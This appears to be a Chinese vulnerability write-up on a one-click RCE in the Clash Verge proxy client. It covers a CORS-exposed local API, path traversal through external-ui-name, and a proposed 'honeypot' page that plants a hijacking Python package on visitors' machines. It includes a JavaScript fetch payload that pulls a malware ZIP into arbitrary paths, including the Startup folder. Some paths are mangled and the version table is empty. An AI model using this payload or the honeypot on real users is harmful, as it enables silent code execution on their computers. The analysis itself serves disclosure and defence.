Clash Verge 客户端 1-Click RCE 漏洞与蜜罐利用分析
漏洞分析
影响范围与组件
此漏洞影响特定版本的 Clash Verge 客户端及其集成的 Mihomo 核心。详细受影响组件及版本如下表所示:
|
|
|
---|---|---|
|
|
|
|
|
|
技术成因与原理
该漏洞的核心在于一处任意文件写入缺陷,可进一步升级为远程代码执行(RCE)。其触发与利用涉及以下几个关键环节:
-
API服务暴露与CORS配置不当:Clash Verge 客户端在默认配置下,会于 http://127.0.0.1:9097
启动一个RESTFul API服务。由于存在CORS(跨源资源共享)配置问题,允许恶意构造的网页跨域调用此API。 -
通过API修改核心配置:攻击者可利用上述API中的 /configs
端点,向客户端提交恶意的配置数据,从而篡改Mihomo(Clash核心)的运行配置。 -
路径遍历漏洞与任意文件写入:Mihomo核心的配置文件中包含 external-ui-url
和external-ui-name
字段。external-ui-url
用于指定一个ZIP压缩包的下载地址,客户端会下载此ZIP包并解压。external-ui-name
则用于指定解压的子目录名称。尽管external-ui
字段本身可能存在路径穿越检查,但external-ui-name
字段的检查不完善,攻击者可利用..
等字符进行路径遍历,将ZIP包中的恶意文件解压到系统任意可写位置。 -
实现远程代码执行(RCE):成功实现任意文件写入后,攻击者可通过多种方式将此升级为RCE。例如,可以将恶意脚本或程序写入系统的自启动目录、覆盖常用软件的插件(如本文后续将以IDA插件为例说明)、或利用DLL劫持等技术。
以下JavaScript代码片段演示了如何通过 fetch
API调用本地服务,触发文件下载与路径遍历写入:
fetch("http://127.0.0.1:9097/configs", {method: "PUT",headers: { 'Content-Type': 'application/json' },body: JSON.stringify({payload: `external-ui: 任意名称external-ui-url: ${document.location.origin + '/malware.zip'}external-ui-name: ..\..\..\..\目标路径`, // 此处利用路径遍历path: "" })})
高级利用:构建蜜罐
鉴于此漏洞具备的任意文件写入能力,使其非常适合用于构建客户端蜜罐,用以检测和捕获针对性的攻击尝试。
文件写入行为模式
深入理解漏洞在文件写入时的具体行为模式,对于精确利用此漏洞或设计有效的蜜罐至关重要。根据测试,其写入行为主要分为以下两种情况:
-
空目录写入行为: -
若 external-ui-name
参数指向一个已存在的空目录,则ZIP压缩包内的文件内容会直接解压至该目录,并不会创建额外的子目录。 -
例如:若 external-ui-name
设置为............2123
,且C:2123
是一个存在的空目录,则ZIP包内容将被直接解压到C:2123
目录下。
-
-
非空目录或不存在路径的写入行为: -
若 external-ui-name
参数指向一个非空目录,或该路径本身不存在,系统则会在指定路径的末端组件创建一个新的子目录,并将ZIP压缩包内容解压到这个新创建的子目录中。 -
例如:若 external-ui-name
设置为....MicrosoftWindowsStart MenuProgramsStartupMyFolder
,系统会在Startup
目录下创建一个名为MyFolder
的子目录,然后将ZIP内容解压至StartupMyFolder
。
-
蜜罐实现:Python库劫持
基于上述文件写入行为,可以设计一个蜜罐页面,当用户访问时,利用此漏洞向其本地写入恶意文件,从而实现特定条件下的代码执行。以下以劫持Python标准库为例进行说明:
Python在导入一个模块(例如 import base64
)时,会按照其搜索路径(sys.path
)查找。
它会首先尝试寻找一个名为 base64
的目录(即一个包),如果找到该目录,则会执行该目录下的 __init__.py
文件来初始化这个包。
只有在找不到名为 base64
的目录时,Python才会继续寻找名为 base64.py
的文件(即一个模块)。
利用这一特性,我们可以通过此漏洞在目标Python库路径下(或sys.path
中优先级更高的位置)创建一个名为 base64
的文件夹(即伪装成一个包),并在该文件夹内放置一个恶意的 __init__.py
文件。当用户后续执行的Python脚本尝试导入 base64
库时,我们的恶意 __init__.py
将被优先执行,从而达到代码执行的目的。
下图展示了Python库的典型存放路径:
正常情况下,Python加载标准 base64
库的过程:
漏洞利用示例——通过写入恶意的 base64
文件夹(包含恶意 __init__.py
)实现劫持,并在导入时执行非预期代码(如弹出计算器):
风险总结
此Clash Verge客户端漏洞带来了显著的安全风险。用户在使用了受影响版本的客户端时,仅仅通过浏览器访问一个嵌入了恶意JavaScript代码的网页,就可能在毫不知情的情况下被植入恶意文件,进而导致其计算机被攻击者远程控制。这是一个典型的"1-Click"式攻击场景,用户交互极少,隐蔽性高,危害性大。
参考链接:
https://zyen84kyvn.feishu.cn/docx/PXu6dsXf0onNdRxs8LfceNXjncb
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论